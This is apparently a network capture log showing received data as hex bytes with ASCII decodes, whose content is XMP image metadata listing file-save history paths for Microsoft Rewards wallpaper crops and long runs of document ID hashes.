2022-04-08 08:02:42 UTC3102INData Raw: 54 31 33 3a 35 37 3a 30 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 53 72 65 77 61 72 64 73 5c 41 75 73 74 72 61 6c 69 61 2d 55 4b 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 53 72 65 77 61 72 64 73 2d 41 55 2d 55 4b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 31 31 39 36 31 35 38 36 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 32 39 54 31 33 3a 35 39 3a 32 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 53 72 65 77 61 72 64 73 5c 41 75 73 74 72 61 6c 69 61 2d 55 4b 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73
Data Ascii: T13:57:09-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MSrewards\Australia-UK\CHOSEN\Crops\MSrewards-AU-UK_GettyImages-611961586_1080x1920.jpg saved&#xA;2018-01-29T13:59:25-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MSrewards\Australia-UK\CHOSEN\Crops
2022-04-08 08:02:42 UTC3118INData Raw: 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 30 31 54 31 31 3a 34 31 3a 33 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 54 72 61 76 65 6c 2d 53 41 2d 45 75 72 6f 70 65 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 30 31 54 31 31 3a 34 31 3a 35 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 54 72 61 76 65 6c 2d 53 41 2d 45 75 72 6f 70 65 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 54 72 61 76
Data Ascii: &#xA;2018-03-01T11:41:38-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MIT-International\Travel-SA-Europe\CHOSEN\Crops.jpg saved&#xA;2018-03-01T11:41:59-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MIT-International\Travel-SA-Europe\CHOSEN\Crops\MIT-Trav
2022-04-08 08:02:42 UTC3134INData Raw: 3a 6c 69 3e 30 31 33 41 34 38 31 44 37 30 39 45 44 33 43 46 31 45 37 41 36 43 34 36 35 46 35 43 38 30 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 31 34 33 37 39 43 33 43 39 31 44 45 32 38 33 46 46 46 43 32 42 45 34 44 37 38 45 39 34 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 31 34 33 37 45 34 39 33 30 30 44 38 42 31 43 32 36 36 34 37 32 46 32 36 35 45 36 35 43 38 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 31 35 32 45 44 44 46 43 37 44 38 33 32 34 46 45 32 43 32 31 39 37 41 45 42 39 36 46 46 43 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 31 35 39 44 31 43 31 39 43 35 32 44 31 46 32 45 30 34 37 42 43 31 34 35 41 43 44 38 35 43 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30
Data Ascii: :li>013A481D709ED3CF1E7A6C465F5C80C8</rdf:li> <rdf:li>014379C3C91DE283FFFC2BE4D78E94F2</rdf:li> <rdf:li>01437E49300D8B1C266472F265E65C8A</rdf:li> <rdf:li>0152EDDFC7D8324FE2C2197AEB96FFC3</rdf:li> <rdf:li>0159D1C19C52D1F2E047BC145ACD85CB</rdf:li> <rdf:li>0
2022-04-08 08:02:42 UTC3142INData Raw: 69 3e 30 37 35 42 30 34 38 37 43 38 41 38 33 37 36 31 46 43 39 38 44 35 31 46 42 36 44 41 36 38 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 37 37 39 31 31 36 37 45 30 31 42 35 41 34 37 33 34 43 32 46 34 35 33 45 42 42 44 41 38 42 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 37 38 32 38 36 44 36 39 43 38 34 41 43 41 36 34 43 45 42 39 45 44 44 33 39 37 41 39 39 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 37 38 33 44 42 45 35 33 41 32 37 31 45 43 46 39 35 39 44 39 37 45 46 42 44 46 41 33 36 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 37 38 39 36 31 34 43 39 33 43 36 37 41 43 38 35 35 38 33 42 33 38 45 30 46 31 32 39 39 43 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 37 39
Data Ascii: i>075B0487C8A83761FC98D51FB6DA68FC</rdf:li> <rdf:li>07791167E01B5A4734C2F453EBBDA8B4</rdf:li> <rdf:li>078286D69C84ACA64CEB9EDD397A99AB</rdf:li> <rdf:li>0783DBE53A271ECF959D97EFBDFA3638</rdf:li> <rdf:li>0789614C93C67AC85583B38E0F1299C3</rdf:li> <rdf:li>079
2022-04-08 08:02:42 UTC3158INData Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 34 36 44 42 31 41 36 36 42 46 46 30 46 43 39 42 30 35 43 32 37 33 43 39 46 33 38 35 39 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 34 37 32 31 41 42 35 37 39 36 39 32 32 38 31 43 44 36 33 31 44 33 43 33 42 46 37 32 43 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 34 37 45 30 36 45 31 44 45 46 33 35 33 31 45 30 45 36 33 43 39 30 39 46 36 32 35 37 33 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 34 38 34 38 30 42 44 38 33 35 38 32 38 44 31 30 33 45 35 36 37 39 41 33 32 34 45 46 39 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 34 39 32 34 36 42 37 36 46 41 45 43 44 41 38 37 31 37 43 32 33 32 42 41 39 44 33 30 35 35 30 3c 2f 72 64 66
Data Ascii: </rdf:li> <rdf:li>146DB1A66BFF0FC9B05C273C9F385917</rdf:li> <rdf:li>14721AB579692281CD631D3C3BF72C08</rdf:li> <rdf:li>147E06E1DEF3531E0E63C909F62573F5</rdf:li> <rdf:li>148480BD835828D103E5679A324EF9E5</rdf:li> <rdf:li>149246B76FAECDA8717C232BA9D30550</rdf
2022-04-08 08:02:42 UTC3174INData Raw: 31 31 36 31 43 44 35 34 31 38 37 44 34 44 44 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 32 37 39 32 30 45 34 42 41 35 30 34 32 36 33 32 33 42 39 37 33 45 35 42 34 39 44 34 43 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 32 37 46 32 31 43 35 44 33 33 35 35 37 31 39 39 34 36 35 31 37 45 37 32 31 31 30 30 31 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 32 39 33 38 31 44 41 30 36 36 31 34 38 30 41 38 31 43 38 32 37 36 35 30 36 42 36 31 39 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 32 39 35 38 39 35 46 38 43 30 35 34 32 37 37 44 37 42 46 45 33 30 43 43 35 32 36 37 42 41 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 32 41 42 46 32 42 46 45 31 42 33 35 37 44 39 38 45 44 46 33
Data Ascii: 1161CD54187D4DD1</rdf:li> <rdf:li>227920E4BA50426323B973E5B49D4C17</rdf:li> <rdf:li>227F21C5D3355719946517E721100188</rdf:li> <rdf:li>229381DA0661480A81C8276506B619B5</rdf:li> <rdf:li>2295895F8C054277D7BFE30CC5267BA7</rdf:li> <rdf:li>22ABF2BFE1B357D98EDF3
2022-04-08 08:02:42 UTC3182INData Raw: 45 38 41 45 44 42 34 31 42 36 35 34 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 38 41 32 39 31 31 33 45 44 44 38 43 45 33 43 39 44 32 31 45 44 45 33 32 32 43 37 31 33 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 38 41 44 43 37 37 33 30 30 41 38 38 31 33 34 36 42 42 38 36 39 30 30 34 31 39 31 34 37 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 38 42 37 32 38 36 30 44 33 35 33 36 30 36 45 35 39 43 43 45 39 43 36 46 31 33 36 44 35 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 38 42 45 46 30 39 32 46 35 36 30 33 45 36 35 32 30 37 34 35 33 45 45 34 30 35 35 33 33 39 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 38 43 30 37 46 46 41 41 41 37 46 38 34 45 41 42 31 38 37 45 32 38
Data Ascii: E8AEDB41B65468</rdf:li> <rdf:li>28A29113EDD8CE3C9D21EDE322C71368</rdf:li> <rdf:li>28ADC77300A881346BB86900419147CF</rdf:li> <rdf:li>28B72860D353606E59CCE9C6F136D513</rdf:li> <rdf:li>28BEF092F5603E65207453EE40553398</rdf:li> <rdf:li>28C07FFAAA7F84EAB187E28
2022-04-08 08:02:42 UTC3198INData Raw: 35 36 38 37 36 30 36 46 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 34 42 44 44 35 38 43 34 30 41 39 32 45 30 35 39 37 34 41 32 38 45 31 45 41 37 46 33 31 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 34 44 33 33 31 44 41 46 30 39 31 45 36 38 35 36 30 44 39 38 32 44 42 42 30 36 42 32 33 32 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 34 44 43 46 30 37 37 45 43 38 41 38 31 46 43 38 45 45 36 38 43 39 44 37 32 35 46 43 35 33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 34 44 44 34 41 32 33 42 41 37 38 45 46 38 37 45 38 36 36 31 30 35 39 38 42 30 44 46 36 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 34 45 36 30 33 35 35 45 33 33 41 34 35 34 34 39 31 32 33 35 45 32 37 35 30 34 37
Data Ascii: 5687606F1</rdf:li> <rdf:li>34BDD58C40A92E05974A28E1EA7F31F9</rdf:li> <rdf:li>34D331DAF091E68560D982DBB06B2324</rdf:li> <rdf:li>34DCF077EC8A81FC8EE68C9D725FC533</rdf:li> <rdf:li>34DD4A23BA78EF87E86610598B0DF627</rdf:li> <rdf:li>34E60355E33A454491235E275047
2022-04-08 08:02:42 UTC3214INData Raw: 33 39 36 38 44 37 43 33 32 33 35 43 30 41 42 44 39 44 36 44 33 41 41 35 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 32 35 36 42 43 37 43 43 30 42 30 33 44 35 38 41 41 37 35 45 33 33 43 34 32 32 33 42 43 35 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 32 36 34 46 35 35 42 39 36 31 44 39 43 35 42 42 43 44 45 37 38 34 41 42 44 33 39 34 41 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 32 37 44 45 45 36 45 45 38 31 37 36 41 31 44 41 42 30 36 37 45 46 37 31 39 35 46 38 33 34 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 32 38 37 36 36 46 41 35 42 36 30 43 38 36 45 36 30 37 41 37 39 46 31 35 31 32 33 42 46 46 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 32 38 41 34 33 45 36 46 45 45 35
Data Ascii: 3968D7C3235C0ABD9D6D3AA54</rdf:li> <rdf:li>4256BC7CC0B03D58AA75E33C4223BC5F</rdf:li> <rdf:li>4264F55B961D9C5BBCDE784ABD394A13</rdf:li> <rdf:li>427DEE6EE8176A1DAB067EF7195F8340</rdf:li> <rdf:li>428766FA5B60C86E607A79F15123BFFF</rdf:li> <rdf:li>428A43E6FEE5
2022-04-08 08:02:42 UTC3221INData Raw: 43 39 37 30 33 43 46 33 44 46 33 46 46 38 37 45 44 35 32 30 39 46 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 38 37 42 41 37 43 30 44 31 35 46 44 46 36 32 34 44 41 36 35 34 46 42 34 45 41 45 32 31 39 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 38 38 35 31 38 33 41 38 35 30 44 41 32 39 46 32 45 45 41 32 36 43 36 41 37 34 43 41 42 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 38 39 30 30 32 39 35 37 30 34 35 31 35 41 45 32 46 30 31 31 31 33 31 43 38 37 39 41 32 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 38 41 31 39 37 33 30 31 42 34 37 39 37 32 37 32 33 39 42 31 34 37 45 34 31 42 33 33 41 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 38 41 35 44 43 43 33 44 45 42 45 38 39
Data Ascii: C9703CF3DF3FF87ED5209F0</rdf:li> <rdf:li>487BA7C0D15FDF624DA654FB4EAE219B</rdf:li> <rdf:li>4885183A850DA29F2EEA26C6A74CAB7E</rdf:li> <rdf:li>48900295704515AE2F011131C879A287</rdf:li> <rdf:li>48A197301B479727239B147E41B33A65</rdf:li> <rdf:li>48A5DCC3DEBE89
2022-04-08 08:02:42 UTC3229INData Raw: 32 35 30 31 32 34 31 36 37 45 37 32 45 33 41 33 33 35 38 42 35 44 45 38 44 37 45 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 45 45 36 34 32 38 38 39 38 32 32 44 33 32 32 35 43 35 31 34 41 36 42 38 35 32 35 34 32 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 45 45 36 35 34 44 41 44 44 42 41 33 34 33 43 42 36 46 37 33 34 39 33 46 35 30 43 33 37 31 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 45 45 42 30 33 34 41 35 42 43 46 41 43 39 37 38 38 37 31 33 41 33 34 43 45 36 35 43 38 41 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 46 30 38 33 42 34 39 34 37 45 35 38 36 35 34 38 41 44 45 38 31 34 31 37 38 35 32 45 44 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 46 31 31 42 31 32 30
Data Ascii: 250124167E72E3A3358B5DE8D7E83</rdf:li> <rdf:li>4EE642889822D3225C514A6B85254241</rdf:li> <rdf:li>4EE654DADDBA343CB6F73493F50C371B</rdf:li> <rdf:li>4EEB034A5BCFAC9788713A34CE65C8A2</rdf:li> <rdf:li>4F083B4947E586548ADE81417852EDC4</rdf:li> <rdf:li>4F11B120
2022-04-08 08:02:42 UTC3245INData Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 43 45 34 46 42 41 43 46 35 32 38 46 30 35 30 32 36 42 36 38 36 37 31 39 34 32 34 30 37 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 43 46 31 36 33 41 44 43 45 30 46 44 46 33 44 31 35 30 36 46 36 34 39 31 33 31 30 37 31 30 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 44 31 41 33 33 42 39 43 34 37 43 34 34 39 43 38 45 36 42 44 33 42 45 37 46 33 39 30 33 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 44 32 31 32 30 41 33 44 46 31 32 42 43 31 34 36 37 38 44 43 41 39 34 41 33 33 37 30 34 43 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 44 32 36 39 33 38 38 42 32 32 42 33 30 36 38 36 35 45 36 32 45 36 30 36 39 38 30 41 41 33 36 3c 2f 72 64 66 3a 6c 69 3e 20
Data Ascii: :li> <rdf:li>5CE4FBACF528F05026B68671942407F2</rdf:li> <rdf:li>5CF163ADCE0FDF3D1506F6491310710F</rdf:li> <rdf:li>5D1A33B9C47C449C8E6BD3BE7F390309</rdf:li> <rdf:li>5D2120A3DF12BC14678DCA94A33704CE</rdf:li> <rdf:li>5D269388B22B306865E62E606980AA36</rdf:li>
2022-04-08 08:02:42 UTC3261INData Raw: 3c 72 64 66 3a 6c 69 3e 36 42 31 46 37 39 44 31 31 34 30 45 43 39 30 38 37 39 46 37 32 43 46 30 42 35 31 37 46 35 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 42 32 34 41 37 41 44 43 36 43 44 39 46 39 32 30 36 41 32 32 41 31 41 35 32 43 37 42 44 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 42 34 32 31 35 31 37 38 33 37 41 36 44 41 35 31 42 34 38 34 31 34 33 39 43 35 39 31 30 34 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 42 34 36 33 33 34 36 31 33 43 39 46 34 33 44 31 30 41 39 30 33 42 32 37 32 34 42 43 34 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 42 35 41 34 32 34 39 45 38 30 45 36 44 37 45 39 45 30 35 35 42 43 44 32 41 39 32 38 33 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a
Data Ascii: <rdf:li>6B1F79D1140EC90879F72CF0B517F55E</rdf:li> <rdf:li>6B24A7ADC6CD9F9206A22A1A52C7BD3E</rdf:li> <rdf:li>6B421517837A6DA51B4841439C59104A</rdf:li> <rdf:li>6B46334613C9F43D10A903B2724BC405</rdf:li> <rdf:li>6B5A4249E80E6D7E9E055BCD2A92836B</rdf:li> <rdf:
2022-04-08 08:02:42 UTC3269INData Raw: 64 66 3a 6c 69 3e 37 32 44 32 33 43 44 43 46 31 44 41 30 33 43 46 41 44 41 39 31 31 34 38 33 30 30 32 32 36 42 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 32 44 33 37 37 42 31 32 32 36 41 44 43 37 39 31 41 32 30 45 45 38 41 30 34 30 38 42 33 33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 32 44 36 34 39 32 37 34 37 42 39 30 30 30 41 36 33 44 33 43 44 37 39 33 33 36 44 39 30 45 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 32 45 44 32 41 43 34 32 46 33 44 33 34 38 39 39 43 39 35 33 30 44 33 33 42 30 36 30 42 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 32 46 46 35 30 33 43 34 32 33 43 41 46 43 38 35 31 43 38 35 39 30 39 38 41 45 46 44 31 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69
Data Ascii: df:li>72D23CDCF1DA03CFADA91148300226BD</rdf:li> <rdf:li>72D377B1226ADC791A20EE8A0408B333</rdf:li> <rdf:li>72D6492747B9000A63D3CD79336D90EB</rdf:li> <rdf:li>72ED2AC42F3D34899C9530D33B060B38</rdf:li> <rdf:li>72FF503C423CAFC851C859098AEFD1F5</rdf:li> <rdf:li
2022-04-08 08:02:42 UTC3285INData Raw: 31 35 39 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 30 43 34 32 46 38 43 38 31 32 36 37 36 31 41 39 34 39 31 45 30 46 43 30 41 30 39 34 33 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 30 43 37 39 33 30 43 32 42 33 42 35 35 41 44 34 33 35 44 43 41 39 37 30 46 34 46 31 46 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 30 44 30 46 46 43 38 46 45 33 45 45 44 39 33 31 38 44 41 36 39 37 37 42 39 38 39 46 34 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 30 44 31 45 44 35 38 36 35 34 37 37 34 45 36 45 44 34 41 35 38 46 38 35 43 33 39 36 36 42 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 30 44 43 34 36 41 35 45 33 42 37 31 39 38 37 33 38 31 39 37 30 45 46 41 39 38 41 44 46 46 33 3c
Data Ascii: 159F</rdf:li> <rdf:li>80C42F8C8126761A9491E0FC0A094365</rdf:li> <rdf:li>80C7930C2B3B55AD435DCA970F4F1F13</rdf:li> <rdf:li>80D0FFC8FE3EED9318DA6977B989F43B</rdf:li> <rdf:li>80D1ED58654774E6ED4A58F85C3966B2</rdf:li> <rdf:li>80DC46A5E3B71987381970EFA98ADFF3<
2022-04-08 08:02:42 UTC3301INData Raw: 32 32 37 31 46 44 46 44 46 35 43 35 34 36 45 44 36 33 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 43 39 41 34 34 42 45 31 46 32 42 36 45 35 33 45 32 41 35 38 36 44 44 43 34 30 32 30 33 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 43 41 36 33 31 31 44 31 41 45 35 46 38 45 36 38 42 31 36 44 32 43 34 36 39 35 31 30 30 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 43 42 31 45 45 38 45 30 34 32 30 38 34 37 46 39 34 30 35 45 42 31 37 36 37 43 30 44 43 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 43 44 41 46 38 35 42 42 33 31 45 34 31 43 34 30 41 36 34 31 41 41 41 42 45 31 45 38 39 33 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 43 44 43 38 39 45 43 31 31 39 32 34 35 34 30 39
Data Ascii: 2271FDFDF5C546ED6373</rdf:li> <rdf:li>8C9A44BE1F2B6E53E2A586DDC4020320</rdf:li> <rdf:li>8CA6311D1AE5F8E68B16D2C4695100D0</rdf:li> <rdf:li>8CB1EE8E0420847F9405EB1767C0DCD0</rdf:li> <rdf:li>8CDAF85BB31E41C40A641AAABE1E8939</rdf:li> <rdf:li>8CDC89EC119245409
2022-04-08 08:02:42 UTC3309INData Raw: 39 41 41 32 33 41 43 39 44 44 42 30 39 43 43 37 42 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 34 39 34 41 41 32 42 33 36 43 31 32 38 41 39 32 31 36 38 35 37 44 41 35 31 39 42 34 37 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 34 39 41 37 32 43 46 41 37 33 37 36 37 30 43 45 41 36 30 32 31 30 41 38 32 32 46 34 32 39 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 34 41 35 41 42 32 43 42 38 34 38 31 46 37 41 37 35 37 38 36 43 44 35 41 42 39 32 42 46 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 34 41 41 31 35 46 34 39 32 44 34 33 32 33 34 46 44 35 31 31 43 42 35 44 31 33 37 33 43 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 34 42 36 44 46 41 43 38 33 42 42 30 34 31 41 43 41 42
Data Ascii: 9AA23AC9DDB09CC7BD</rdf:li> <rdf:li>9494AA2B36C128A9216857DA519B477F</rdf:li> <rdf:li>949A72CFA737670CEA60210A822F429B</rdf:li> <rdf:li>94A5AB2CB8481F7A75786CD5AB92BF13</rdf:li> <rdf:li>94AA15F492D43234FD511CB5D1373C3A</rdf:li> <rdf:li>94B6DFAC83BB041ACAB
2022-04-08 08:02:42 UTC3325INData Raw: 38 46 33 45 44 43 32 34 32 33 30 33 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 32 31 31 35 34 46 32 34 32 42 41 38 31 43 44 31 37 36 34 38 35 31 33 39 44 39 39 36 34 41 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 32 31 35 32 34 44 35 36 43 33 41 36 36 45 33 30 46 39 37 41 41 30 31 36 39 42 31 37 43 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 32 32 34 30 44 33 31 42 42 33 38 43 38 32 41 42 38 46 37 44 33 35 33 36 45 33 45 35 42 43 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 32 33 42 42 32 41 35 44 36 45 45 38 44 44 32 33 37 38 32 31 32 43 35 41 31 33 36 35 35 46 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 32 33 43 45 43 46 30 44 33 37 42 38 31 33 38 36 30 46 38 46 37 38 42
Data Ascii: 8F3EDC2423037</rdf:li> <rdf:li>A21154F242BA81CD176485139D9964AF</rdf:li> <rdf:li>A21524D56C3A66E30F97AA0169B17C0D</rdf:li> <rdf:li>A2240D31BB38C82AB8F7D3536E3E5BC0</rdf:li> <rdf:li>A23BB2A5D6EE8DD2378212C5A13655FE</rdf:li> <rdf:li>A23CECF0D37B813860F8F78B
2022-04-08 08:02:42 UTC3341INData Raw: 43 42 38 44 38 44 42 43 34 32 35 42 44 43 37 31 36 36 37 37 41 39 42 32 31 34 38 30 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 46 39 34 38 33 42 31 31 37 41 35 38 34 43 34 31 35 45 32 34 30 36 38 43 34 36 32 45 30 32 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 46 39 45 32 32 45 42 34 34 43 34 44 43 45 32 39 33 42 32 31 38 33 41 32 37 36 33 43 43 30 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 46 43 46 34 41 44 39 44 39 39 43 41 31 34 39 44 37 32 36 41 31 37 34 34 35 33 42 37 45 38 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 46 44 31 36 39 42 30 41 37 38 38 42 45 44 33 35 45 46 37 46 31 41 38 42 30 41 34 44 36 36 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 46 44 32 39 32 31 36
Data Ascii: CB8D8DBC425BDC716677A9B21480F</rdf:li> <rdf:li>AF9483B117A584C415E24068C462E023</rdf:li> <rdf:li>AF9E22EB44C4DCE293B2183A2763CC0F</rdf:li> <rdf:li>AFCF4AD9D99CA149D726A174453B7E8D</rdf:li> <rdf:li>AFD169B0A788BED35EF7F1A8B0A4D66E</rdf:li> <rdf:li>AFD29216
